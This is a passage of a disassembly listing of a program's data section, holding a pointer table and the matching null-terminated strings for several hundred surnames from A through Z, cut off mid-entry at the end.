aSigna ; "Signa" dd offset aSilverman ; "Silverman" dd offset aSilvetti ; "Silvetti" dd offset aSinsabaugh ; "Sinsabaugh" dd offset aSirilli ; "Sirilli" dd offset aSites ; "Sites" dd offset aSkane ; "Skane" dd offset aSkerry ; "Skerry" dd offset aSkoda ; "Skoda" dd offset aSloan ; "Sloan" dd offset aSlowe ; "Slowe" dd offset aSmilow ; "Smilow" dd offset aSniffen ; "Sniffen" dd offset aSnodgrass ; "Snodgrass" dd offset aSocolow ; "Socolow" dd offset aSolon ; "Solon" dd offset aSomers ; "Somers" dd offset aSommariva ; "Sommariva" dd offset aSorabella ; "Sorabella" dd offset aSorg ; "Sorg" dd offset aSottak ; "Sottak" dd offset aSoukup ; "Soukup" dd offset aSoule ; "Soule" dd offset aSoultanian ; "Soultanian" dd offset aSpanier ; "Spanier" dd offset aSparrow ; "Sparrow" dd offset aSpaulding ; "Spaulding" dd offset aSpeizer ; "Speizer" dd offset aSpence ; "Spence" dd offset aSperber ; "Sperber" dd offset aSpicer ; "Spicer" dd offset aSpiegelhalter ; "Spiegelhalter" dd offset aSpiliotis ; "Spiliotis" dd offset aSpinrad ; "Spinrad" dd offset aStmartin ; "StMartin" dd offset aStalvey ; "Stalvey" off_445344 dd offset aStam ; DATA XREF: .data:004549E8o ; .data:00454DA4o ; "Stam" dd offset aStang ; "Stang" dd offset aStassinopolus ; "Stassinopolus" dd offset aStates ; "States" dd offset aStatlender ; "Statlender" dd offset aStefani ; "Stefani" dd offset aSteiner ; "Steiner" dd offset aStephanian ; "Stephanian" dd offset aStepniewska ; "Stepniewska" dd offset aStewartOaten ; "Stewart-Oaten" dd offset aStiepock ; "Stiepock" dd offset aStillwell ; "Stillwell" dd offset aStock ; "Stock" dd offset aStockton ; "Stockton" dd offset aStockwell ; "Stockwell" dd offset aStolzenberg ; "Stolzenberg" dd offset aStonich ; "Stonich" dd offset aStorer ; "Storer" dd offset aStott ; "Stott" dd offset aStrange ; "Strange" dd offset aStrauch ; "Strauch" dd offset aStreiff ; "Streiff" dd offset aStringer ; "Stringer" dd offset aSullivan ; "Sullivan" dd offset aSumner ; "Sumner" dd offset aSuo ; "Suo" dd offset aSurdam ; "Surdam" dd offset aSweeting ; "Sweeting" dd offset aSweetser ; "Sweetser" dd offset aSwindle ; "Swindle" dd offset aTagiuri ; "Tagiuri" dd offset aTai ; "Tai" dd offset aTalaugon ; "Talaugon" dd offset aTambiah ; "Tambiah" dd offset aTandler ; "Tandler" dd offset aTanowitz ; "Tanowitz" dd offset aTatar ; "Tatar" dd offset aTaveras ; "Taveras" dd offset aTawn ; "Tawn" dd offset aTcherepnin ; "Tcherepnin" dd offset aTeague ; "Teague" dd offset aTemes ; "Temes" dd offset aTemmer ; "Temmer" dd offset aTenney ; "Tenney" dd offset aTerracini ; "Terracini" dd offset aThan ; "Than" dd offset aThavaneswaran ; "Thavaneswaran" dd offset aTheodos ; "Theodos" dd offset aThibault ; "Thibault" dd offset aThisted ; "Thisted" dd offset aThomsen ; "Thomsen" dd offset aThroop ; "Throop" dd offset aTierney ; "Tierney" dd offset aTill ; "Till" dd offset aTimmons ; "Timmons" dd offset aTofallis ; "Tofallis" dd offset aTollestrup ; "Tollestrup" dd offset aTolls ; "Tolls" dd offset aTolman ; "Tolman" dd offset aTomford ; "Tomford" dd offset aToomer ; "Toomer" dd offset aTopulos ; "Topulos" dd offset aTorresi ; "Torresi" dd offset aTorske ; "Torske" dd offset aTowler ; "Towler" dd offset aToye ; "Toye" dd offset aTraebert ; "Traebert" dd offset aTrenga ; "Trenga" dd offset aTrewin ; "Trewin" dd offset aTringali ; "Tringali" dd offset aTroiani ; "Troiani" dd offset aTroy ; "Troy" dd offset aTruss ; "Truss" dd offset aTsiatis ; "Tsiatis" dd offset aTsomides ; "Tsomides" dd offset aTsukurov ; "Tsukurov" dd offset aTuck ; "Tuck" dd offset aTudge ; "Tudge" dd offset aTukan ; "Tukan" dd offset aTurano ; "Turano" dd offset aTurek ; "Turek" dd offset aTuttle ; "Tuttle" dd offset aTwells ; "Twells" dd offset aTzamarias ; "Tzamarias" dd offset aUllman ; "Ullman" dd offset aUntermeyer ; "Untermeyer" dd offset aUpsdell ; "Upsdell" dd offset aUrban ; "Urban" dd offset aUrdangBrown ; "Urdang-Brown" dd offset aUsdan ; "Usdan" dd offset aUzuner ; "Uzuner" dd offset aVacca ; "Vacca" dd offset aWaite ; "Waite" dd offset aValberg ; "Valberg" dd offset aValencia ; "Valencia" dd offset aWales ; "Wales" dd offset aWallenberg ; "Wallenberg" dd offset aWalter ; "Walter" dd offset aVanallen ; "vanAllen" dd offset aVanzwet ; "VanZwet" dd offset aVandenberg ; "Vandenberg" dd offset aVanheeckeren ; "Vanheeckeren" dd offset aWarshafsky ; "Warshafsky" dd offset aWasowska ; "Wasowska" dd offset aVasquez ; "Vasquez" dd offset aWaugh ; "Waugh" dd offset aWeighart ; "Weighart" dd offset aWeingarten ; "Weingarten" dd offset aWeinhaus ; "Weinhaus" dd offset aWeissbourd ; "Weissbourd" dd offset aWeissman ; "Weissman" dd offset aVelasquez ; "Velasquez" dd offset aWelles ; "Welles" dd offset aWelsh ; "Welsh" dd offset aWengret ; "Wengret" dd offset aVenne ; "Venne" dd offset aVerghese ; "Verghese" dd offset aWescott ; "Wescott" dd offset aWetzel ; "Wetzel" dd offset aWhately ; "Whately" dd offset aWhilton ; "Whilton" dd offset aWhite ; "White" dd offset aWhitla ; "Whitla" dd offset aWhittaker ; "Whittaker" dd offset aViana ; "Viana" dd offset aViano ; "Viano" dd offset aWiedersheim ; "Wiedersheim" dd offset aWiener ; "Wiener" dd offset aViens ; "Viens" dd offset aVignola ; "Vignola" dd offset aWilder ; "Wilder" dd offset aWilhelm ; "Wilhelm" dd offset aWilk ; "Wilk" dd offset aWilkin ; "Wilkin" dd offset aWilkinson ; "Wilkinson" dd offset aVillarreal ; "Villarreal" dd offset aWillstatter ; "Willstatter" dd offset aWilson ; "Wilson" dd offset aVitali ; "Vitali" dd offset aViviani ; "Viviani" dd offset aVoigt ; "Voigt" dd offset aWolk ; "Wolk" dd offset aVonhoffman ; "VonHoffman" dd offset aWoo ; "Woo" dd offset aWooden ; "Wooden" dd offset aWoods ; "Woods" dd offset aWoodsPowell ; "Woods-Powell" dd offset aVorhaus ; "Vorhaus" dd offset aVotey ; "Votey" dd offset aYacono ; "Yacono" dd offset aYamane ; "Yamane" dd offset aYankee ; "Yankee" dd offset aYarchuk ; "Yarchuk" dd offset aYates ; "Yates" dd offset aYbarra ; "Ybarra" dd offset aYedidia ; "Yedidia" dd offset aYesson ; "Yesson" dd offset aYetiv ; "Yetiv" dd offset aYoffe ; "Yoffe" dd offset aYoo ; "Yoo" dd offset aYoukSee ; "Youk-See" dd offset aYu ; "Yu" dd offset aZachary ; "Zachary" dd offset aZahedi ; "Zahedi" dd offset aZangwill ; "Zangwill" dd offset aZegans ; "Zegans" dd offset aZerbini ; "Zerbini" dd offset aZoldak ; "Zoldak" dd offset aZucconi ; "Zucconi" dd offset aZurn ; "Zurn" dd offset aZwiers ; "Zwiers" dd offset aZytowski ; "Zytowski" aAbdulrazak db 'Abdulrazak',0 ; DATA XREF: .data:off_4443B8o align 10h aAckerman db 'Ackerman',0 ; DATA XREF: .data:004443BCo align 4 aAdams db 'Adams',0 ; DATA XREF: .data:004443C0o align 4 aAddison db 'Addison',0 ; DATA XREF: .data:off_4443C4o aAdelstein db 'Adelstein',0 ; DATA XREF: .data:004443C8o align 4 aAdibe db 'Adibe',0 ; DATA XREF: .data:004443CCo align 10h aAdorno db 'Adorno',0 ; DATA XREF: .data:004443D0o align 4 aAhlers db 'Ahlers',0 ; DATA XREF: .data:004443D4o align 10h aAlavi db 'Alavi',0 ; DATA XREF: .data:004443D8o align 4 aAlcorn db 'Alcorn',0 ; DATA XREF: .data:004443DCo align 10h aAlda db 'Alda',0 ; DATA XREF: .data:004443E0o align 4 aAleks db 'Aleks',0 ; DATA XREF: .data:004443E4o align 10h aAllison db 'Allison',0 ; DATA XREF: .data:004443E8o aAlongi db 'Alongi',0 ; DATA XREF: .data:004443ECo align 10h aAltavilla db 'Altavilla',0 ; DATA XREF: .data:004443F0o align 4 aAltenberger db 'Altenberger',0 ; DATA XREF: .data:004443F4o aAltenhofen db 'Altenhofen',0 ; DATA XREF: .data:004443F8o align 4 aAmaral db 'Amaral',0 ; DATA XREF: .data:004443FCo align 4 aAmatangelo db 'Amatangelo',0 ; DATA XREF: .data:00444400o align 4 aAmeer db 'Ameer',0 ; DATA XREF: .data:00444404o align 10h aAmsden db 'Amsden',0 ; DATA XREF: .data:00444408o align 4 aAnand db 'Anand',0 ; DATA XREF: .data:0044440Co align 10h aAndel db 'Andel',0 ; DATA XREF: .data:00444410o align 4 aAndo db 'Ando',0 ; DATA XREF: .data:00444414o align 10h aAndrelus db 'Andrelus',0 ; DATA XREF: .data:00444418o align 4 aAndron db 'Andron',0 ; DATA XREF: .data:0044441Co align 4 aAnfinrud db 'Anfinrud',0 ; DATA XREF: .data:00444420o align 10h aAnsley db 'Ansley',0 ; DATA XREF: .data:00444424o align 4 aAnthony db 'Anthony',0 ; DATA XREF: .data:00444428o aAntos db 'Antos',0 ; DATA XREF: .data:0044442Co align 4 aArbia db 'Arbia',0 ; DATA XREF: .data:00444430o align 10h aArduini db 'Arduini',0 ; DATA XREF: .data:00444434o aArellano db 'Arellano',0 ; DATA XREF: .data:00444438o align 4 aAristotle db 'Aristotle',0 ; DATA XREF: .data:0044443Co align 10h aArjas db 'Arjas',0 ; DATA XREF: .data:00444440o align 4 aArky db 'Arky',0 ; DATA XREF: .data:00444444o align 10h aAtkins db 'Atkins',0 ; DATA XREF: .data:00444448o align 4 aAugustus db 'Augustus',0 ; DATA XREF: .data:0044444Co ; .data:off_44A5C0o align 4 aAurelius db 'Aurelius',0 ; DATA XREF: .data:00444450o align 10h aAxelrod db 'Axelrod',0 ; DATA XREF: .data:00444454o aAxworthy db 'Axworthy',0 ; DATA XREF: .data:00444458o align 4 aAyiemba db 'Ayiemba',0 ; DATA XREF: .data:0044445Co aAykroyd db 'Aykroyd',0 ; DATA XREF: .data:00444460o aAyling db 'Ayling',0 ; DATA XREF: .data:00444464o align 4 aAzima db 'Azima',0 ; DATA XREF: .data:00444468o align 4 aBachmuth db 'Bachmuth',0 ; DATA XREF: .data:0044446Co align 10h aBackus db 'Backus',0 ; DATA XREF: .data:00444470o align 4 aBady db 'Bady',0 ; DATA XREF: .data:00444474o align 10h aBaglivo db 'Baglivo',0 ; DATA XREF: .data:00444478o aBagnold db 'Bagnold',0 ; DATA XREF: .data:0044447Co aBailar db 'Bailar',0 ; DATA XREF: .data:00444480o align 4 aBakanowsky db 'Bakanowsky',0 ; DATA XREF: .data:00444484o align 4 aBaleja db 'Baleja',0 ; DATA XREF: .data:00444488o align 4 aBallatori db 'Ballatori',0 ; DATA XREF: .data:0044448Co align 4 aBallew db 'Ballew',0 ; DATA XREF: .data:00444490o align 10h aBaltz db 'Baltz',0 ; DATA XREF: .data:00444494o align 4 aBanta db 'Banta',0 ; DATA XREF: .data:00444498o align 10h aBarabesi db 'Barabesi',0 ; DATA XREF: .data:0044449Co align 4 aBarajas db 'Barajas',0 ; DATA XREF: .data:004444A0o aBaranczak db 'Baranczak',0 ; DATA XREF: .data:004444A4o align 10h aBaranowska db 'Baranowska',0 ; DATA XREF: .data:004444A8o align 4 aBarberi db 'Barberi',0 ; DATA XREF: .data:004444ACo aBarbetti db 'Barbetti',0 ; DATA XREF: .data:004444B0o align 10h aBarneson db 'Barneson',0 ; DATA XREF: .data:004444B4o align 4 aBarnett db 'Barnett',0 ; DATA XREF: .data:004444B8o aBarriola db 'Barriola',0 ; DATA XREF: .data:004444BCo align 10h aBarry db 'Barry',0 ; DATA XREF: .data:004444C0o align 4 aBartholomew db 'Bartholomew',0 ; DATA XREF: .data:004444C4o aBartolome db 'Bartolome',0 ; DATA XREF: .data:004444C8o align 10h aBartoo db 'Bartoo',0 ; DATA XREF: .data:004444CCo align 4 aBasavappa db 'Basavappa',0 ; DATA XREF: .data:004444D0o align 4 aBashevis db 'Bashevis',0 ; DATA XREF: .data:004444D4o align 10h aBatchelder db 'Batchelder',0 ; DATA XREF: .data:004444D8o align 4 aBaumiller db 'Baumiller',0 ; DATA XREF: .data:004444DCo align 4 aBayles db 'Bayles',0 ; DATA XREF: .data:004444E0o align 10h aBayo db 'Bayo',0 ; DATA XREF: .data:004444E4o align 4 aBeacon db 'Beacon',0 ; DATA XREF: .data:004444E8o align 10h aBeal db 'Beal',0 ; DATA XREF: .data:004444ECo align 4 aBean db 'Bean',0 ; DATA XREF: .data:004444F0o align 10h aBeckman db 'Beckman',0 ; DATA XREF: .data:004444F4o aBeder db 'Beder',0 ; DATA XREF: .data:004444F8o align 10h aBedford db 'Bedford',0 ; DATA XREF: .data:004444FCo aBehenna db 'Behenna',0 ; DATA XREF: .data:00444500o aBelanger db 'Belanger',0 ; DATA XREF: .data:00444504o align 4 aBelaoussof db 'Belaoussof',0 ; DATA XREF: .data:00444508o align 4 aBelfer db 'Belfer',0 ; DATA XREF: .data:0044450Co align 10h aBelinCollart db 'Belin-Collart',0 ; DATA XREF: .data:00444510o align 10h aBellavance db 'Bellavance',0 ; DATA XREF: .data:00444514o align 4 aBellhouse db 'Bellhouse',0 ; DATA XREF: .data:00444518o align 4 aBellini db 'Bellini',0 ; DATA XREF: .data:0044451Co aBelloc db 'Belloc',0 ; DATA XREF: .data:00444520o align 4 aBenedictDye db 'Benedict-Dye',0 ; DATA XREF: .data:00444524o align 4 aBergson db 'Bergson',0 ; DATA XREF: .data:00444528o aBerkeJenkins db 'Berke-Jenkins',0 ; DATA XREF: .data:0044452Co align 10h aBernardo db 'Bernardo',0 ; DATA XREF: .data:00444530o align 4 aBernassola db 'Bernassola',0 ; DATA XREF: .data:00444534o align 4 aBernston db 'Bernston',0 ; DATA XREF: .data:00444538o align 4 aBerrizbeitia db 'Berrizbeitia',0 ; DATA XREF: .data:0044453Co align 4 aBetti db 'Betti',0 ; DATA XREF: .data:00444540o align 4 aBeynart db 'Beynart',0 ; DATA XREF: .data:00444544o aBiagioli db 'Biagioli',0 ; DATA XREF: .data:00444548o align 10h aBickel db 'Bickel',0 ; DATA XREF: .data:0044454Co align 4 aBinion db 'Binion',0 ; DATA XREF: .data:00444550o align 10h aBir db 'Bir',0 ; DATA XREF: .data:00444554o aBisema db 'Bisema',0 ; DATA XREF: .data:00444558o align 4 aBisho db 'Bisho',0 ; DATA XREF: .data:0044455Co align 4 aBlackbourn db 'Blackbourn',0 ; DATA XREF: .data:00444560o align 10h aBlackwell db 'Blackwell',0 ; DATA XREF: .data:00444564o align 4 aBlagg db 'Blagg',0 ; DATA XREF: .data:00444568o align 4 aBlakemore db 'Blakemore',0 ; DATA XREF: .data:0044456Co align 10h aBlanke db 'Blanke',0 ; DATA XREF: .data:00444570o align 4 aBliss db 'Bliss',0 ; DATA XREF: .data:00444574o align 10h aBlizard db 'Blizard',0 ; DATA XREF: .data:00444578o aBloch db 'Bloch',0 ; DATA XREF: .data:0044457Co align 10h aBloembergen db 'Bloembergen',0 ; DATA XREF: .data:00444580o aBloemhof db 'Bloemhof',0 ; DATA XREF: .data:00444584o align 4 aBloxham db 'Bloxham',0 ; DATA XREF: .data:00444588o aBlyth db 'Blyth',0 ; DATA XREF: .data:0044458Co align 4 aBolger db 'Bolger',0 ; DATA XREF: .data:00444590o align 10h aBolick db 'Bolick',0 ; DATA XREF: .data:00444594o align 4 aBollinger db 'Bollinger',0 ; DATA XREF: .data:00444598o align 4 aBologna db 'Bologna',0 ; DATA XREF: .data:0044459Co aBoner db 'Boner',0 ; DATA XREF: .data:004445A0o align 4 aBonham db 'Bonham',0 ; DATA XREF: .data:004445A4o align 4 aBoniface db 'Boniface',0 ; DATA XREF: .data:004445A8o align 4 aBontempo db 'Bontempo',0 ; DATA XREF: .data:004445ACo align 4 aBook db 'Book',0 ; DATA XREF: .data:004445B0o align 4 aBookbinder db 'Bookbinder',0 ; DATA XREF: .data:004445B4o align 4 aBoone db 'Boone',0 ; DATA XREF: .data:004445B8o align 10h aBoorstin db 'Boorstin',0 ; DATA XREF: .data:004445BCo align 4 aBorack db 'Borack',0 ; DATA XREF: .data:004445C0o align 4 aBorden db 'Borden',0 ; DATA XREF: .data:004445C4o align 4 aBossi db 'Bossi',0 ; DATA XREF: .data:004445C8o align 4 aBothman db 'Bothman',0 ; DATA XREF: .data:004445CCo aBotosh db 'Botosh',0 ; DATA XREF: .data:004445D0o align 4 aBoudin db 'Boudin',0 ; DATA XREF: .data:004445D4o align 4 aBoudrot db 'Boudrot',0 ; DATA XREF: .data:004445D8o aBourneuf db 'Bourneuf',0 ; DATA XREF: .data:004445DCo align 10h aBowers db 'Bowers',0 ; DATA XREF: .data:004445E0o align 4 aBoxer db 'Boxer',0 ; DATA XREF: .data:004445E4o align 10h aBoyajian db 'Boyajian',0 ; DATA XREF: .data:004445E8o align 4 aBoyes db 'Boyes',0 ; DATA XREF: .data:004445ECo align 4 aBoyland db 'Boyland',0 ; DATA XREF: .data:004445F0o aBoym db 'Boym',0 ; DATA XREF: .data:004445F4o align 4 aBoyne db 'Boyne',0 ; DATA XREF: .data:004445F8o align 4 aBracalente db 'Bracalente',0 ; DATA XREF: .data:004445FCo align 4 aBradac db 'Bradac',0 ; DATA XREF: .data:00444600o align 10h aBradach db 'Bradach',0 ; DATA XREF: .data:00444604o aBrecht db 'Brecht',0 ; DATA XREF: .data:00444608o align 10h aBreed db 'Breed',0 ; DATA XREF: .data:0044460Co align 4 aBrenan db 'Brenan',0 ; DATA XREF: .data:00444610o align 10h aBrennan db 'Brennan',0 ; DATA XREF: .data:00444614o aBrewer db 'Brewer',0 ; DATA XREF: .data:00444618o align 10h aBrewer_0 db 'Brewer',0 ; DATA XREF: .data:0044461Co align 4 aBridgeman db 'Bridgeman',0 ; DATA XREF: .data:00444620o align 4 aBridges db 'Bridges',0 ; DATA XREF: .data:00444624o aBrinton db 'Brinton',0 ; DATA XREF: .data:00444628o aBritz db 'Britz',0 ; DATA XREF: .data:0044462Co align 4 aBroca db 'Broca',0 ; DATA XREF: .data:00444630o align 4 aBrook db 'Brook',0 ; DATA XREF: .data:00444634o align 4 aBrzycki db 'Brzycki',0 ; DATA XREF: .data:00444638o aBuchan db 'Buchan',0 ; DATA XREF: .data:0044463Co align 4 aBudding db 'Budding',0 ; DATA XREF: .data:00444640o aBullard db 'Bullard',0 ; DATA XREF: .data:00444644o aBunton db 'Bunton',0 ; DATA XREF: .data:00444648o align 4 aBurden db 'Burden',0 ; DATA XREF: .data:0044464Co align 4 aBurdzy db 'Burdzy',0 ; DATA XREF: .data:00444650o align 4 aBurke db 'Burke',0 ; DATA XREF: .data:00444654o align 4 aBurridge db 'Burridge',0 ; DATA XREF: .data:00444658o align 4 aBusetta db 'Busetta',0 ; DATA XREF: .data:0044465Co aByatt db 'Byatt',0 ; DATA XREF: .data:00444660o align 4 aByerly db 'Byerly',0 ; DATA XREF: .data:00444664o align 10h aByrd db 'Byrd',0 ; DATA XREF: .data:00444668o align 4 aCage db 'Cage',0 ; DATA XREF: .data:0044466Co align 10h aCalnan db 'Calnan',0 ; DATA XREF: .data:00444670o align 4 aCammelli db 'Cammelli',0 ; DATA XREF: .data:00444674o align 4 aCammilleri db 'Cammilleri',0 ; DATA XREF: .data:00444678o align 10h aCanley db 'Canley',0 ; DATA XREF: .data:0044467Co align 4 aCapanni db 'Capanni',0 ; DATA XREF: .data:00444680o aCaperton db 'Caperton',0 ; DATA XREF: .data:00444684o align 4 aCapocaccia db 'Capocaccia',0 ; DATA XREF: .data:00444688o align 4 aCapodilupo db 'Capodilupo',0 ; DATA XREF: .data:0044468Co align 4 aCappuccio db 'Cappuccio',0 ; DATA XREF: .data:00444690o align 10h aCapursi db 'Capursi',0 ; DATA XREF: .data:00444694o aCaratozzolo db 'Caratozzolo',0 ; DATA XREF: .data:00444698o aCarayannopoulo db 'Carayannopoulos',0 ; DATA XREF: .data:0044469Co aCarlin db 'Carlin',0 ; DATA XREF: .data:004446A0o align 4 aCarlos db 'Carlos',0 ; DATA XREF: .data:004446A4o align 4 aCarlyle db 'Carlyle',0 ; DATA XREF: .data:004446A8o aCarmichael db 'Carmichael',0 ; DATA XREF: .data:004446ACo align 4 aCaroti db 'Caroti',0 ; DATA XREF: .data:004446B0o align 10h aCarper db 'Carper',0 ; DATA XREF: .data:004446B4o align 4 aCartmill db 'Cartmill',0 ; DATA XREF: .data:004446B8o align 4 aCascio db 'Cascio',0 ; DATA XREF: .data:004446BCo align 4 aCase db 'Case',0 ; DATA XREF: .data:004446C0o align 4 aCaspar db 'Caspar',0 ; DATA XREF: .data:004446C4o align 4 aCastelda db 'Castelda',0 ; DATA XREF: .data:004446C8o align 4 aCavanagh db 'Cavanagh',0 ; DATA XREF: .data:004446CCo align 4 aCavell db 'Cavell',0 ; DATA XREF: .data:004446D0o align 4 aCeniceros db 'Ceniceros',0 ; DATA XREF: .data:004446D4o align 4 aCerioli db 'Cerioli',0 ; DATA XREF: .data:004446D8o aChapman db 'Chapman',0 ; DATA XREF: .data:004446DCo aCharles db 'Charles',0 ; DATA XREF: .data:004446E0o aCheang db 'Cheang',0 ; DATA XREF: .data:004446E4o align 4 aCherry db 'Cherry',0 ; DATA XREF: .data:004446E8o align 10h aChervinsky db 'Chervinsky',0 ; DATA XREF: .data:004446ECo align 4 aChiassino db 'Chiassino',0 ; DATA XREF: .data:004446F0o align 4 aChien db 'Chien',0 ; DATA XREF: .data:004446F4o align 10h aChildress db 'Childress',0 ; DATA XREF: .data:004446F8o align 4 aChilds db 'Childs',0 ; DATA XREF: .data:004446FCo align 4 aChinipardaz db 'Chinipardaz',0 ; DATA XREF: .data:00444700o aChinman db 'Chinman',0 ; DATA XREF: .data:00444704o aChristenson db 'Christenson',0 ; DATA XREF: .data:00444708o aChristian db 'Christian',0 ; DATA XREF: .data:0044470Co align 10h aChristiano db 'Christiano',0 ; DATA XREF: .data:00444710o align 4 aChristie db 'Christie',0 ; DATA XREF: .data:00444714o align 4 aChristopher db 'Christopher',0 ; DATA XREF: .data:00444718o aChu db 'Chu',0 ; DATA XREF: .data:0044471Co aChupasko db 'Chupasko',0 ; DATA XREF: .data:00444720o align 4 aChurch db 'Church',0 ; DATA XREF: .data:00444724o align 4 aCiampaglia db 'Ciampaglia',0 ; DATA XREF: .data:00444728o align 4 aCicero db 'Cicero',0 ; DATA XREF: .data:0044472Co align 10h aCifarelli db 'Cifarelli',0 ; DATA XREF: .data:00444730o align 4 aClaffey db 'Claffey',0 ; DATA XREF: .data:00444734o aClancy db 'Clancy',0 ; DATA XREF: .data:00444738o align 4 aClark db 'Clark',0 ; DATA XREF: .data:0044473Co align 4 aClement db 'Clement',0 ; DATA XREF: .data:00444740o aClifton db 'Clifton',0 ; DATA XREF: .data:00444744o aClow db 'Clow',0 ; DATA XREF: .data:00444748o align 4 aCoblenz db 'Coblenz',0 ; DATA XREF: .data:0044474Co aCoito db 'Coito',0 ; DATA XREF: .data:00444750o align 4 aColdren db 'Coldren',0 ; DATA XREF: .data:00444754o aColella db 'Colella',0 ; DATA XREF: .data:00444758o aCollard db 'Collard',0 ; DATA XREF: .data:0044475Co aCollis db 'Collis',0 ; DATA XREF: .data:00444760o align 4 aCompton db 'Compton',0 ; DATA XREF: .data:00444764o aCompton_0 db 'Compton',0 ; DATA XREF: .data:00444768o aComstock db 'Comstock',0 ; DATA XREF: .data:0044476Co align 4 aConcino db 'Concino',0 ; DATA XREF: .data:00444770o aCondodina db 'Condodina',0 ; DATA XREF: .data:00444774o align 4 aConnors db 'Connors',0 ; DATA XREF: .data:00444778o aCorey db 'Corey',0 ; DATA XREF: .data:0044477Co align 4 aCornish db 'Cornish',0 ; DATA XREF: .data:00444780o aCosmides db 'Cosmides',0 ; DATA XREF: .data:00444784o align 10h aCounter db 'Counter',0 ; DATA XREF: .data:00444788o aCoutaux db 'Coutaux',0 ; DATA XREF: .data:0044478Co aCrawford db 'Crawford',0 ; DATA XREF: .data:00444790o align 4 aCrocker db 'Crocker',0 ; DATA XREF: .data:00444794o aCroshaw db 'Croshaw',0 ; DATA XREF: .data:00444798o aCroxen db 'Croxen',0 ; DATA XREF: .data:0044479Co align 4 aCroxton db 'Croxton',0 ; DATA XREF: .data:004447A0o aCui db 'Cui',0 ; DATA XREF: .data:004447A4o aCurrier db 'Currier',0 ; DATA XREF: .data:004447A8o aCutler db 'Cutler',0 ; DATA XREF: .data:004447ACo align 10h aCvek db 'Cvek',0 ; DATA XREF: .data:004447B0o align 4 aCyders db 'Cyders',0 ; DATA XREF: .data:004447B4o align 10h aDasilva db 'daSilva',0 ; DATA XREF: .data:004447B8o aDaldalian db 'Daldalian',0 ; DATA XREF: .data:004447BCo align 4 aDaly db 'Daly',0 ; DATA XREF: .data:004447C0o align 4 aDAmbra db 'D',27h,'Ambra',0 ; DATA XREF: .data:004447C4o aDanieli db 'Danieli',0 ; DATA XREF: .data:004447C8o aDante db 'Dante',0 ; DATA XREF: .data:004447CCo align 4 aDapice db 'Dapice',0 ; DATA XREF: .data:004447D0o align 4 aDArcangelo db 'D',27h,'arcangelo',0 ; DATA XREF: .data:004447D4o aDas db 'Das',0 ; DATA XREF: .data:004447D8o aDasgupta db 'Dasgupta',0 ; DATA XREF: .data:004447DCo align 4 aDaskalu db 'Daskalu',0 ; DATA XREF: .data:004447E0o aDavid db 'David',0 ; DATA XREF: .data:004447E4o align 4 aDawkins db 'Dawkins',0 ; DATA XREF: .data:004447E8o aDegennaro db 'DeGennaro',0 ; DATA XREF: .data:004447ECo align 4 aDelapena db 'DeLaPena',0 ; DATA XREF: .data:004447F0o align 4 aDelEnclos db 'del',27h,'Enclos',0 ; DATA XREF: .data:004447F4o align 4 aDerousse db 'deRousse',0 ; DATA XREF: .data:004447F8o align 10h aDebroff db 'Debroff',0 ; DATA XREF: .data:004447FCo aDees db 'Dees',0 ; DATA XREF: .data:00444800o align 10h aDefeciani db 'Defeciani',0 ; DATA XREF: .data:00444804o align 4 aDelattre db 'Delattre',0 ; DATA XREF: .data:00444808o align 4 aDeleonRendon db 'Deleon-Rendon',0 ; DATA XREF: .data:0044480Co align 4 aDelger db 'Delger',0 ; DATA XREF: .data:00444810o align 10h aDellAcqua db 'Dell',27h,'acqua',0 ; DATA XREF: .data:00444814o align 4 aDeming db 'Deming',0 ; DATA XREF: .data:00444818o align 4 aDempster db 'Dempster',0 ; DATA XREF: .data:0044481Co align 10h aDemusz db 'Demusz',0 ; DATA XREF: .data:00444820o align 4 aDenault db 'Denault',0 ; DATA XREF: .data:00444824o aDenham db 'Denham',0 ; DATA XREF: .data:00444828o align 4 aDenison db 'Denison',0 ; DATA XREF: .data:0044482Co aDesombre db 'Desombre',0 ; DATA XREF: .data:00444830o align 4 aDeutsch db 'Deutsch',0 ; DATA XREF: .data:00444834o aDFini db 'D',27h,'fini',0 ; DATA XREF: .data:00444838o align 4 aDicks db 'Dicks',0 ; DATA XREF: .data:0044483Co align 4 aDiefenbach db 'Diefenbach',0 ; DATA XREF: .data:00444840o align 10h aDifabio db 'Difabio',0 ; DATA XREF: .data:00444844o aDifronzo db 'Difronzo',0 ; DATA XREF: .data:00444848o align 4 aDilworth db 'Dilworth',0 ; DATA XREF: .data:0044484Co align 10h aDionysius db 'Dionysius',0 ; DATA XREF: .data:00444850o align 4 aDirksen db 'Dirksen',0 ; DATA XREF: .data:00444854o aDockery db 'Dockery',0 ; DATA XREF: .data:00444858o aDoherty db 'Doherty',0 ; DATA XREF: .data:0044485Co aDonahue db 'Donahue',0 ; DATA XREF: .data:00444860o aDonner db 'Donner',0 ; DATA XREF: .data:00444864o align 4 aDoonan db 'Doonan',0 ; DATA XREF: .data:00444868o align 4 aDore db 'Dore',0 ; DATA XREF: .data:0044486Co align 4 aDorf db 'Dorf',0 ; DATA XREF: .data:00444870o align 4 aDosi db 'Dosi',0 ; DATA XREF: .data:00444874o align 4 aDoty db 'Doty',0 ; DATA XREF: .data:00444878o align 4 aDoug db 'Doug',0 ; DATA XREF: .data:0044487Co align 4 aDowsland db 'Dowsland',0 ; DATA XREF: .data:00444880o align 10h aDrinker db 'Drinker',0 ; DATA XREF: .data:00444884o aDSouza db 'D',27h,'souza',0 ; DATA XREF: .data:00444888o aDuffin db 'Duffin',0 ; DATA XREF: .data:0044488Co align 4 aDurrett db 'Durrett',0 ; DATA XREF: .data:00444890o aDussault db 'Dussault',0 ; DATA XREF: .data:00444894o align 4 aDwyer db 'Dwyer',0 ; DATA XREF: .data:00444898o align 4 aEardley db 'Eardley',0 ; DATA XREF: .data:0044489Co aEbeling db 'Ebeling',0 ; DATA XREF: .data:004448A0o aEckel db 'Eckel',0 ; DATA XREF: .data:004448A4o align 4 aEdley db 'Edley',0 ; DATA XREF: .data:004448A8o align 4 aEdner db 'Edner',0 ; DATA XREF: .data:004448ACo align 4 aEdward db 'Edward',0 ; DATA XREF: .data:004448B0o align 4 aEickenhorst db 'Eickenhorst',0 ; DATA XREF: .data:004448B4o aEliasson db 'Eliasson',0 ; DATA XREF: .data:004448B8o align 4 aElmendorf db 'Elmendorf',0 ; DATA XREF: .data:004448BCo align 4 aElmerick db 'Elmerick',0 ; DATA XREF: .data:004448C0o align 4 aElvis db 'Elvis',0 ; DATA XREF: .data:004448C4o align 4 aEncinas db 'Encinas',0 ; DATA XREF: .data:004448C8o aEnyeart db 'Enyeart',0 ; DATA XREF: .data:004448CCo aEppling db 'Eppling',0 ; DATA XREF: .data:004448D0o aErbach db 'Erbach',0 ; DATA XREF: .data:004448D4o align 4 aErdman db 'Erdman',0 ; DATA 